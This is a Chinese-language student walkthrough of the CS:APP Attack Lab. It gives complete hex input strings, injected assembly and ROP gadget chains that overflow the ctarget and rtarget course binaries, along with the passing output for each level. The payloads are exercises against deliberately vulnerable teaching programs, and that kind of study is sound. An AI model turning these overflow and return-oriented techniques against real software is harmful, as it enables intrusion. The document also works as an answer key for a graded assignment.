lab 步骤

1. 阅读 attacklab.pdf，了解 lab 需要解决的问题

2. 运行 ctarget，随便尝试输入，观察大概的输出

3. 利用 objdump 反汇编 ctarget，重点阅读 getbuf 和 test 函数的汇编语句

4. 根据汇编代码发现当输入长度大于 0x28 时会覆盖返回地址，故只需将返回地址覆盖成 touch1 函数地址，即 0x4017c0，即可使程序跳转到 touch1 执行。综上，可得十六进制形式输入字符串：

```
          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   Decoded Text
00000000  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01   . . . . . . . . . . . . . . . .
00000010  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01   . . . . . . . . . . . . . . . .
00000020  01 01 01 01 01 01 01 01 C0 17 40 00 00 00 00 00   . . . . . . . . . . @ . . . . .
00000030  0A                                                .
```

输入后程序输出为：

```
gdhnes@gdhnes-Zephyrus-M15-GU502LV-GU502LV:~/csapp-lab$ ./ctarget -q < ctouch1.raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 0
1 01 01 01 01 01 01 01 01 01 01 01 01 01 01 C0 17 40 00 00 00 00 00
```

5. 查看 cookie.txt，根据 attacklab.pdf 要求，得知跳转 touch2 之前需要修改寄存器 rdi 的值。经过考虑，可以在输入的字符串中插入相关逻辑，并覆盖返回地址到相关逻辑起始地址。综上，编写汇编代码如下：

```
movq  $0x59b997fa, %rdi #set cookie value
pushq $0x4017ec         #<touch2>
retq
```

转化成十六进制数值如下：

```
0000000000000000 <.text>:
   0: 48 c7 c7 fa 97 b9 59     mov    $0x59b997fa,%rdi
   7: 68 ec 17 40 00           pushq  $0x4017ec
   c: c3                       retq
```

再利用 gdb 加断点，查找输入字符串保存起始地址：

```
(gdb) p $rsp
$1 = (void *) 0x5561dc78
(gdb)
```

综上，可得十六进制形式输入字符串：

```
          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000  48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 01 01 01
00000010  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
00000020  01 01 01 01 01 01 01 01 78 DC 61 55 00 00 00 00
00000030  0A
```

输入后程序输出为：

```
gdhnes@gdhnes-Zephyrus-M15-GU502LV-GU502LV:~/csapp-lab$ ./ctarget -q < ctouch2.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 01 01 01 01 01 01 01 01 01 01 01 0
1 01 01 01 01 01 01 01 01 01 01 01 01 01 01 78 DC 61 55 00 00 00 00
```

6. 根据 attacklab.pdf 要求，得知跳转 touch3 之前需要修改寄存器 rdi 的值指向对应 cookie 值的字符串，且需要保证注入的字符串不被其他函数的调用栈破坏。经过考虑，可以在输入的字符串中插入寄存器 rdi 修改逻辑，将注入的字符串保存在 test 函数栈中，并覆盖返回地址到相关逻辑起始地址。

首先对照 ASCII 码表，得到 cookie 数值的字符串十六进制表示如下：

```
0x59b997fa

35 39 62 39 39 37 66 61 00
```

根据 x86 体系结构栈的特点，cookie 串应为输入字符串最后，综合先前查到的字符串保存起始地址，可推算 cookie 串起始地址为 0x5561dca8。综上，可编写汇编逻辑代码如下：

```
movq  $0x5561dca8, %rdi #set compare string to inserted cookie value
pushq $0x4018fa         #<touch3>
retq
```

转化成十六进制数值如下：

```
0000000000000000 <.text>:
   0: 48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7: 68 fa 18 40 00          pushq  $0x4018fa
   c: c3                      retq
```

综上，可得十六进制形式输入字符串：

```
        00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000  48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020  00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
00000030  35 39 62 39 39 37 66 61 0A
```

输入后程序输出为：

```
gdhnes@gdhnes-Zephyrus-M15-GU502LV-GU502LV:~/csapp-lab$ ./ctarget -q < ctouch3.raw
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
```

7. 类似 ctarget，利用 objdump 反汇编 rtarget，阅读相关区域代码

8. 根据 attacklab.pdf 要求，考虑利用 ROP 方法跳转到 touch2，且要保证 rdi 寄存器的值应为 cookie。

9. 综上，可以考虑直接覆盖栈中内容为相应的数值，再利用 pop 与 mov 指令完成寄存器的赋值，最后利用 ret 指令跳转到 touch2 中。

查找 rtaget 中 farm 部分 gadget 汇编与 attacklab 中表，发现有 addval_219 可实现 pop %rax，setval_426 可实现 movq %rax, %rdi。这样，可以利用上述 gadget 构建业务逻辑如下：

pop %rax

0x59b997fa

mov %rax, %rdi

实现 rdi 寄存器的赋值

综合 ROP 编程原理，得到十六进制形式输入字符串为：

```
         00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00
00000030 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00
00000040 EC 17 40 00 00 00 00 00 0A
```

输入 rtaget，结果为：

```
gdhnes@gdhnes-Zephyrus-M15-GU502LV-GU502LV:~/csapp-lab$ ./rtarget -q < rtouch2.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 1
7 40 00 00 00 00 00
```

10.阅读 attacklab.pdf 知，需要综合步骤 9 与步骤 6 相关方法，在栈中保存 cookie 值的同时利用 gadget 完成 rdi 寄存器的赋值。查阅 farm 中函数的汇编与 attacklab.pdf 中表格，最终可得到利用 gadget 实现的业务如下：

```
mov %rsp, %rax                  <addval_190> +3     401a03 +3       401a06
mov %rax, %rdi                  <addval_273> +2     4019a0 +2       4019a2
pop %rax                        <addval_219> +4     4019a7 +4       4019ab
8*(10-1)                        <$shift_imm>        0x48            48
mov %rax, %rdx                  <getval_481> +2     4019db +2       4019dd
mov %edx, %ecx                  <getval_159> +1     401a33 +1       401a34
mov %ecx, %esi                  <addval_436> +2     401a11 +2       401a13
$rax = %rdi + %rsi              <add_xy>            4019d6          4019d6
mov %rax, %rdi                  <addval_273> +2     4019a0 +2       4019a2
0x4018fa                        <touch3>            4018fa          4018fa
35 39 62 39 39 37 66 61 00      <$cookie>           ...
```

综合 ROP 编程原理，得到十六进制形式输入字符串为：

```
        00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00
00000030 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00
00000040 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00
00000050 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00
00000060 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00
00000070 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
00000080 00 0A
```

输入 rtaget，结果为：

```
gdhnes@gdhnes-Zephyrus-M15-GU502LV-GU502LV:~/csapp-lab$ ./rtarget -q < rtouch3.raw
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 0
0 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 1
9 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
```

11.完成实验